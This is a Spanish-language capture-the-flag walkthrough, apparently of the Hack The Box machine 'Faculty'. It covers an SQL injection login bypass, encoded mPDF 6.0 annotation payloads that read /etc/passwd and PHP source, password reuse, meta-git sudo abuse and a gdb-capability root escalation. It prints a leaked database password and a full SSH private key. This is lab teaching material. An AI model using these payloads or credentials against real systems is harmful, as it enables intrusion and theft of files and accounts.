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1. Enumeración 
Realizamos un PING a la máquina víctima para comprobar su TTL. A partir del valor 
devuelto, nos podemos hacer una idea del sistema operativo que tiene. En este caso 
podemos deducir que se trata de una máquina Linux. 

 
 
Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes 
servicios y versiones asociados. 

 
 

Comprobamos el LaunchPad de la versión del SSH y vemos que estamos ante una versión 
Focal de Ubuntu. 
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Intentamos realizar una enumeración con el módulo de nmap “http-enum” pero no nos 
descubre nada. 

 
 

Revisamos las tecnologías que usa el aplicativo que corre en el puerto 80. 

 
 

Vemos que nos intenta redirigir a la URL faculty.htb. Incluimos en nuestro /etc/hosts la 
entrada. 

 
 

Volvemos a comprobar las tecnologías, por si vemos alguna información adicional. 

 
  

https://dandyloco.github.io/


 

 

https://dandyloco.github.io/   4    ©Dandy_loco 

 

2. Análisis de 
vulnerabilidades 

Revisamos la página web, con nuestro navegador web. Vemos un panel, que nos pide 
identificador. 

 
 

Intentamos ejecutar un SQL Injection, introduciendo ‘or 1=1 -- -. 

 
 

Conseguimos acceder la web. 

 
 

Vamos a realizar una enumeración de directorios de la página web. Descubrimos un 
directorio “admin”. 
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Miramos si existen vulnerabilidades para el software “School Faculty Scheduling System”. 
Descubrimos la web login.php. 

 

 
 

Accedemos a dicha web, ejecutamos de nuevo un SQL Injection y conseguimos acceso. 
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Revisamos la web y vemos una opción donde podemos descargarnos un PDF. Si lo 
interceptamos un BurpSuite, vemos que la petición viaja codificada en base64 y 
doblemente “URL” encodeada. 

 

 
 

Si miramos las propiedades del documento pdf, vemos que está generado con mPDF 6.0. 
También vemos que el directorio donde se aloja el pdf generado es: 
http://faculty.htb/mpdf/tmp/. 
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Miramos en Google, si existe alguna forma de abusar de mPDF 6.0. 

 
 

Podemos usar un payload, para ver el /etc/passwd. 
1. <html><body> <annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: 
/etc/passwd" pos-x="195" /></body></html> 

 

Lo codificamos como: <url encode> <url encode> <base64> y obtenemos el siguiente 
código: 
JTI1M0NodG1sJTI1M0UlMjUzQ2JvZHklMjUzRSUyNTIwJTI1M0Nhbm5vdGF0aW9uJTI1MjBmaWxlPSUyNTIyL2V0Yy9wYXNzd2QlMjUyMiU
yNTIwY29udGVudD0lMjUyMi9ldGMvcGFzc3dkJTI1MjIlMjUyMCUyNTIwaWNvbj0lMjUyMkdyYXBoJTI1MjIlMjUyMHRpdGxlPSUyNTIyQX
R0YWNoZWQlMjUyMEZpbGU6JTI1MjAvZXRjL3Bhc3N3ZCUyNTIyJTI1MjBwb3MteD0lMjUyMjE5NSUyNTIyJTI1MjAvJTI1M0UlMjUzQy9ib
2R5JTI1M0U= 

 

Lo lanzamos con BurpSuite. 

 
 

Revisamos el PDF generado, y en los ficheros adjuntos al fichero PDF, podemos 
descargarnos un fichero llamado passwd. 

 

¿Qué es MPDF? 

Es una librería en PHP la cual permite generar archivos PDF usando HTML(Codificado 
con UTF-8). Está basada en FPDF y HTML2FPDF, con varias mejoras, fue escrito por Ian 
Back y lanzado bajo licencia GNU GPL v2. 
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Revisamos el contenido del fichero, filtrando por los usuarios que usan una bash. 

 
 

Revisamos el resto de la página web, hasta que llegamos a la opción de horario. 
Interceptamos la petición. Si forzamos una petición errónea, vemos que el programa 
revela la página web admin_class.php.  

 

 
 

Realizamos el mismo proceso que para el fichero /etc/passwd, para revisar su contenido. 
1. <html><body> <annotation file="admin_class.php" content="admin_class.php" icon="Graph" title="Attached 
File: admin_class.php" pos-x="195" /></body></html> 

 

JTI1M0NodG1sJTI1M0UlMjUzQ2JvZHklMjUzRSUyNTIwJTI1M0Nhbm5vdGF0aW9uJTI1MjBmaWxlJTI1M0QlMjUyMmFkbWluX2NsYXNzLnB
ocCUyNTIyJTI1MjBjb250ZW50JTI1M0QlMjUyMmFkbWluX2NsYXNzLnBocCUyNTIyJTI1MjBpY29uJTI1M0QlMjUyMkdyYXBoJTI1MjIlMj
UyMHRpdGxlJTI1M0QlMjUyMkF0dGFjaGVkJTI1MjBGaWxlJTI1M0ElMjUyMGFkbWluX2NsYXNzLnBocCUyNTIyJTI1MjBwb3MteCUyNTNEJ
TI1MjIxOTUlMjUyMiUyNTIwJTI1MkYlMjUzRSUyNTNDJTI1MkZib2R5JTI1M0UlMjUzQyUyNTJGaHRtbCUyNTNF 
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Vemos que se realiza una llamada db_connect.php. 

 

 
Realizamos de nuevo el proceso para conseguir el fichero db_connect.php 

 

Clave: Co.met06aci.dly53ro.per 

 

3. Explotación y movimiento lateral. 
Comprobamos si acontece una reutilización de contraseña. Conseguimos acceso con el 
usuario gbyolo. 

 
4.  

Revisamos nuestros privilegios de sudoers. Vemos que tenemos privilegios para ejecutar 
como el usuario “developer”, el programa meta-git. 
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Buscamos en internet si existe alguna forma de aprovercharnos de este programa y 
previlegios: https://hackerone.com/reports/728040. Probamos a ejecutarlo con 
“whoami”. 

 
 
Una vez comprobado que es vulnerable, intentamos obtener la clave id_rsa del usuario 
developer. 

 
-----BEGIN OPENSSH PRIVATE KEY----- 
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 
-----END OPENSSH PRIVATE KEY----- 

5.  
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Probamos a conectarnos por SSH y ganamos acceso como developer. 
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6. Escalada de privilegios 
Revisamos a los grupos a los que pertenecemos. 

 
 
Revisamos si nos podemos aprovechar de alguna capability. 

 
 
Vemos que nos podemos aprovechar del programa gdb: 
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities. 
Revisamos que procesos se están ejecutando como root. 

 
 
Nos conectamos con gdb al proceso detectado. 

 
 
Añadimos permisos SUID a la bash. 
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Ejecutamos una bash privilegiada con el parámetro -p y ganamos acceso como root. 

 

https://dandyloco.github.io/

